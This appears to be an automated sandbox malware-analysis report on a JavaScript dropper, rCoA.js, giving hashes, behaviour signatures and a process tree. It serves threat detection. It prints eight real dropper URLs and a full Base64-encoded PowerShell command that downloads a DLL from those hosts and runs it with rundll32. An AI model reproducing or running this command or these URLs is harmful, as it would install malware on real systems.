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Analysis

  • max time kernel
    79s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2023, 07:13

General

  • Target

    rCoA.js

  • Size

    84KB

  • MD5

    9f9c96d904107988f9228890f0ca30d5

  • SHA1

    16f7c265d11ea75cb62345555c51073526a6c762

  • SHA256

    aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233

  • SHA512

    cec6f9e4eec258f2f988afeaa0a4ce7a9fdd7d1d3839fa23e318f17374e784fb3d9958807a9ae24781af90fa1ab414390c59061a18f88c6c9af22d6c24073734

  • SSDEEP

    1536:g43+92oVhnGoW/bLBiVuuCHGHHfYLS0dwPphjiG5yE:TOrnn2P8V6mf65ds3P

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://dimoparkhogar.com/7VQuf/1

exe.dropper

https://fondationjoelkrasso.org/rjzgP6/1

exe.dropper

https://lamired.com/8FIz2P/1

exe.dropper

https://kotogadang-pusako.com/MweGD/1

exe.dropper

https://laposadadeugartearequipa.com/NARKhE/1

exe.dropper

https://earnforpak.com/CzIUp/1

exe.dropper

https://cocovedaglobal.com/XBtcjkQ/1

exe.dropper

https://accesstelematics.com/Ulo3MpM/1

Signatures

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\rCoA.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAYQBuAGEAYwByAG8AdABpAHMAbQBVAG4AZABlAHIAcwB1AHAAcABsAHkAaQBuAGcAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAbQBvAHAAYQByAGsAaABvAGcAYQByAC4AYwBvAG0ALwA3AFYAUQB1AGYALwAxACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGQAYQB0AGkAbwBuAGoAbwBlAGwAawByAGEAcwBzAG8ALgBvAHIAZwAvAHIAagB6AGcAUAA2AC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAbQBpAHIAZQBkAC4AYwBvAG0ALwA4AEYASQB6ADIAUAAvADEALABoAHQAdABwAHMAOgAvAC8AawBvAHQAbwBnAGEAZABhAG4AZwAtAHAAdQBzAGEAawBvAC4AYwBvAG0ALwBNAHcAZQBHAEQALwAxACwAaAB0AHQAcABzADoALwAvAGwAYQBwAG8AcwBhAGQAYQBkAGUAdQBnAGEAcgB0AGUAYQByAGUAcQB1AGkAcABhAC4AYwBvAG0ALwBOAEEAUgBLAGgARQAvADEALABoAHQAdABwAHMAOgAvAC8AZQBhAHIAbgBmAG8AcgBwAGEAawAuAGMAbwBtAC8AQwB6AEkAVQBwAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAHYAZQBkAGEAZwBsAG8AYgBhAGwALgBjAG8AbQAvAFgAQgB0AGMAagBrAFEALwAxACwAaAB0AHQAcABzADoALwAvAGEAYwBjAGUAcwBzAHQAZQBsAGUAbQBhAHQAaQBjAHMALgBjAG8AbQAvAFUAbABvADMATQBwAE0ALwAxACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIABpAG4AIAAkAGEAbgBhAGMAcgBvAHQAaQBzAG0AVQBuAGQAZQByAHMAdQBwAHAAbAB5AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABTAGUAcABpAG8AbABhAC4AZABsAGwALABYAFMAOAA4ADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub1hh0jo.mmu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4428-133-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB

  • memory/4428-134-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB

  • memory/4428-140-0x000001CA21890000-0x000001CA218B2000-memory.dmp

    Filesize

    136KB

  • memory/4428-145-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB

  • memory/4428-146-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB

  • memory/4428-147-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB

  • memory/4428-148-0x000001CA21880000-0x000001CA21890000-memory.dmp

    Filesize

    64KB